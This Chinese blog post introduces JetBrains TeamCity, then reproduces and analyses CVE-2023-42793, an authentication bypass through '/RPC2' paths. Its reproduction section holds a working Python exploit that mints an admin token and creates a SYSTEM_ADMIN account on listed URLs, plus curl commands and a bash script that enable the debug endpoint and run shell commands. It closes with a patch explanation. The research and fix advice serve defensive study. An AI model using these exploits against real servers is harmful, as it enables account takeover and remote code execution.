一、JetBrains TeamCity简介
TeamCity 是一款由 JetBrains 开发的强大的持续集成(Continuous Integration,CI)和持续部署(Continuous Deployment,CD)工具。它帮助开发团队自动化构建、测试和部署过程,以确保软件项目的质量和快速交付。 TeamCity 的主要特点和优势包括:- 灵活的构建配置:TeamCity 支持多种构建工具(如 Maven、Gradle、npm、MSBuild 等),可轻松集成到现有的开发工具链中。它还提供了丰富的构建配置选项,允许您根据项目需求定制构建过程。
- 实时构建状态和反馈:TeamCity 提供了实时的构建状态和反馈,帮助您快速发现并解决潜在问题。此外,它还支持与多种通知渠道(如邮件、Slack、HipChat 等)集成,确保团队及时了解构建过程的情况。
- 分布式构建:TeamCity 支持分布式构建,允许您在多台构建代理上并行执行构建任务,以提高构建速度和效率。此外,它还可以根据负载和需求自动管理构建代理,确保资源的合理分配。
- 丰富的插件生态:TeamCity 拥有丰富的插件生态,可以与众多第三方工具和服务集成,如版本控制系统(如 Git、SVN、Mercurial 等)、问题跟踪系统(如 Jira、YouTrack 等)以及代码审查工具(如 Codecov、SonarQube 等)。
- 支持多种部署方式:TeamCity 支持多种部署方式,如自动部署到云服务(如 AWS、Google Cloud、Azure 等)、容器化部署(如 Docker、Kubernetes 等)以及传统的虚拟机部署。
- 高度可定制和扩展:TeamCity 提供了高度可定制的用户界面,允许您根据团队和项目需求调整界面布局。此外,它还提供了丰富的 API 和扩展点,方便您开发自定义插件和集成其他工具。
- 良好的安全性和权限管理:TeamCity 提供了一套完善的安全性和权限管理机制,支持用户认证、角色授权以及访问控制等功能,确保您的构建过程和敏感数据得到有效保护。
参考链接:
https://juejin.cn/post/7217082232937447485 https://www.jetbrains.com/teamcity/download/download-thanks.html?platform=mac
二、TeamCity使用
0x1:安装
要安装TeamCity很简单,首先到下载页面下载TeamCity,下载完成之后安装即可。
TeamCity分为两个服务,
- 一个叫做构建代理,实际的项目构建都是通过这个代理服务来执行的
- 一个服务就是TeamCity的网页版控制端,让我们可以方便的通过网页进行管理
在下载页面上可以看到有多个操作系统,不论是Windows、macOS还是Linux都可以运行TeamCity。
- 启动程序:./runAll.sh start
- 停止程序:./runAll.sh stop
0x2:初始化
安装完成并启动TeamCity之后,我们就可以在Web页面中访问它了。
http://127.0.0.1:8111/mnt
第一次使用需要配置用户并初始化,之后稍微等待一段时间即可。
0x3:新建项目
参考链接:
https://blog.csdn.net/whatday/article/details/108684562 https://blog.csdn.net/weixin_41133233/article/details/86364238 https://blog.kangyonggan.com/2018/08/06/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90%E5%B7%A5%E5%85%B7TeamCity%E7%9A%84%E5%AE%89%E8%A3%85%E5%92%8C%E4%BD%BF%E7%94%A8/
三、漏洞复现
下载2023.05.4之前的版本,
该漏洞是由于对服务器 API 的访问控制不足造成的,允许未经身份验证的攻击者访问管理面板。
利用该漏洞,攻击者可以通过网络访问 TeamCity 服务器,获取项目源代码,并通过在项目构建任务执行代理上执行任意代码,对基础架构发起进一步攻击。该漏洞可能会给供应商带来不可接受的网络安全事件。
我们从一个python poc开始,逐步分析这个漏洞的成因,
python3 CVE-2023-42793.py -u http://127.0.0.1:8111/
import random import requests import argparse import xml.etree.ElementTree as ET Color_Off="\033[0m" Black="\033[0;30m" # Black Red="\033[0;31m" # Red Green="\033[0;32m" # Green Yellow="\033[0;33m" # Yellow Blue="\033[0;34m" # Blue Purple="\033[0;35m" # Purple Cyan="\033[0;36m" # Cyan White="\033[0;37m" # White class CVE_2023_42793: def __init__(self): self.url = "" self.session = requests.session() def username(self): name = "H454NSec" random_id = random.randint(1000, 9999) return f"{name}{random_id}" def delete_user_token(self, url): self.url = url headers = { "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate" } try: response = self.session.delete(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10) if response.status_code == 204 or response.status_code == 404: self.create_user_token() except Exception as err: pass def create_user_token(self): headers = { "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0", "Accept-Encoding": "gzip, deflate" } try: response = self.session.post(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10) if response.status_code == 200: response_text = response.text root = ET.fromstring(response_text) value = root.get('value') if value.startswith("eyJ0eXAiOiAiVENWMiJ9"): self.create_user(value) except Exception as err: pass def create_user(self, token): uname = self.username() headers = { "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0", "Accept": "*/*", "Authorization": f"Bearer {token}", "Content-Type": "application/json", } creds = { "email": "", "username": uname, "password": "@H454NSec", "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] } } try: response = self.session.post(f"{self.url}/app/rest/users", headers=headers, json=creds, timeout=10) if response.status_code == 200: print(f"{Green}[+] {Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}") with open("vulnerable.txt", "a") as o: o.write(f"[{uname}:@H454NSec] {self.url}\n") except Exception as err: pass if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', help='Url of the TeamCity') parser.add_argument('-l', '--list', help='List of urls') args = parser.parse_args() db = [] url_list = args.list if url_list: try: with open(url_list, "r") as fr: for data in fr.readlines(): db.append(data.strip()) except Exception as err: print(err) elif args.url: db.append(args.url) cve = CVE_2023_42793() for ip in db: url = ip[:-1] if ip.endswith("/") else ip if not url.startswith("https://"): if not url.startswith("http://"): url = f"http://{url}" cve.delete_user_token(url)View Code
这个poc的代码流程也很简单,
- 删除用户token
- 创建用户token
- 创建用户
参考链接:
https://www.4hou.com/posts/3rmQ https://blog.csdn.net/ptsecurity/article/details/133324429 https://github.com/H454NSec/CVE-2023-42793/blob/main/CVE-2023-42793.py
四、漏洞代码分析
这个漏洞的根源是鉴权身份认证绕过。
首先,我们看一下配置文件,找一下认证的位置。发现认证位置在calledOnceInterceptors里面,这个的调用是在jetbrains.buildServer.controllers.interceptors类下面。
<mvc:interceptors>:这是 Spring MVC 中配置拦截器的部分。它列出了多个拦截器,这些拦截器将在请求处理过程中按顺序执行。每个元素引用一个拦截器 bean。
这段配置文件指定了一组拦截器,它们将在请求处理过程中执行特定的逻辑。这些拦截器通常用于在请求到达控制器之前或之后执行一些操作,比如接下来的身份验证。而且可以看到这个calledOnceInterceptors是jetbrains.buildServer.controllers.interceptors.RequestInterceptors实例,在具体的ref配置中可以看到,将authorizedUserInterceptor认证添加到实例中。
接下来反编译 /TeamCity-2023.05.2/webapps/ROOT/WEB-INF/lib/web.jar,配置完拦截器后,接下来将对请求进行拦截。
具体拦截逻辑在 preHandle 方法中实现,我们来重点分析一下这块函数逻辑,
首先,它调用requestPreHandlingAllowed(paramHttpServletRequest) 方法来检查请求是否允许进行预处理。如果这个方法返回true,那么会执行 myInterceptors 列表中每个拦截器的 preHandle 方法。
跟进requestPreHandlingAllowed()分析。
requestPreHandlingAllowed 方法检查是否应该跳过身份验证检查。
其中,myPreHandlingDisabled 包含通配符路径 /**/RPC2,用于测试传入 HTTP 请求的路径。
如果请求的路径匹配了 myPreHandlingDisabled 中的路径,requestPreHandlingAllowed 返回 false,这将导致 preHandle 方法提前返回,从而绕过身份验证检查。
这导致了一个典型的授权绕过漏洞。如果攻击者能够构造请求,以便路径匹配 /**/RPC2,则可以绕过身份验证,从而执行某些操作,而无需经过正常的身份验证和授权检查。
对于攻击者来说,寻找在应用程序中使用了 /**/RPC2 路径的端点,然后构造请求以匹配这个路径。一旦找到这样的目标端点,攻击者就可以发送请求,绕过身份验证和授权检查来执行攻击。
接下来反编译 /TeamCity-2023.05.2/webapps/ROOT/WEB-INF/plugins/rest-api/server/rest-api.jar,
越权获取高权限token的漏洞代码在 jetbrains.buildServer.server.rest.request.UserRequest,
createToken方法允许调用者通过向端点发送 HTTP POST 请求来为指定用户创建访问令牌/app/rest/users/{userLocator}/tokens/{name},而{name}允许结尾以/RPC2来绕过身份验证。
通过将 "userLocator" 参数设置为 "id:1",可以调用 "createToken" 方法并使用管理员用户的凭证来创建令牌。这个令牌可以用于进行授权操作或执行其他需要管理员权限的操作。
在获取了高权限账号token后,执行任意指令的漏洞代码在 jetbrains.buildServer.server.rest.request.DebugRequest,这是一个产品界面上没有的未记录的调试API端点,
调用此端点的能力由配置选项控制rest.debug.processes.enable,默认情况下禁用。因此,我们必须首先通过以下请求启用此选项。
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.VFZ1UFo1RGNjVkpFVF80QVRPQi0xNUt0WGVn.ODEyNzMzNGMtZDllNi00MDY3LTg1MzMtZDAwYjBhNmRlZDA2" -X POST "http://127.0.0.1:8111/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true"
最后,为了让系统使用此选项,我们必须通过以下请求刷新服务器。
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.VFZ1UFo1RGNjVkpFVF80QVRPQi0xNUt0WGVn.ODEyNzMzNGMtZDllNi00MDY3LTg1MzMtZDAwYjBhNmRlZDA2" "http://127.0.0.1:8111/admin/admin.html?item=diagnostics^&tab=dataDir^&file=config/internal.properties"
我们现在可以在服务器上运行任意 shell 命令,并向端点发出以下请求/app/rest/debug/processes。例如:
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.a1dtOWtUY1B6RXhZZHVtMGxDRnhCeW52X2FR.OTFhM2Y0OWYtMGFlZC00N2UyLWEyZWItNjU0YzliNjc5NDg2" -X POST "http://127.0.0.1:8111/app/rest/debug/processes?exePath=bash^¶ms=-c whoami"
综上poc如下:
#!/bin/bash if [ "$#" -ne 3 ]; then echo "Usage: $0 <base_url> <port> <command>" exit 1 fi BASE_URL="$1" PORT="$2" COMMAND="$3" TOKEN_ENDPOINT="${BASE_URL}:${PORT}/app/rest/users/id:1/tokens/RPC2" EDIT_FILE_ENDPOINT="${BASE_URL}:${PORT}/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true" RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=${COMMAND}" TOKEN_RESPONSE=$(curl -X POST "$TOKEN_ENDPOINT") BEARER_TOKEN=$(echo "$TOKEN_RESPONSE" | grep -oP 'value="\K[^"]+') curl -s -X POST "$EDIT_FILE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" RESPONSE=$(curl -s -X POST "$RCE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" | awk -F 'StdOut:|StdErr:' '{print $2}' ) curl -s -X DELETE "$TOKEN_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" echo $RESPONSE
参考链接:
http://java-decompiler.github.io/ https://www.ctfiot.com/141977.html https://forum.butian.net/share/2514
五、修复建议
根据供应商的建议,要修复该漏洞,应将 TeamCity 服务器升级到 2023.05.4 版。 要降低与该漏洞相关的风险,应安装供应商的补丁插件。
分析一下漏洞补丁:https://blog.jetbrains.com/zh-hans/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/
myPreHandlingDisabled 对象中添加了路径 "/RPC2" 并删除了所有匹配 "/**/RPC2" 的路径。这意味着它禁止访问所有类似 "/example/RPC2"、"/test/RPC2" 这样的路径。
标签:url,self,rest,TeamCity,构建,代码执行,https,42793 From: https://www.cnblogs.com/LittleHann/p/17843271.html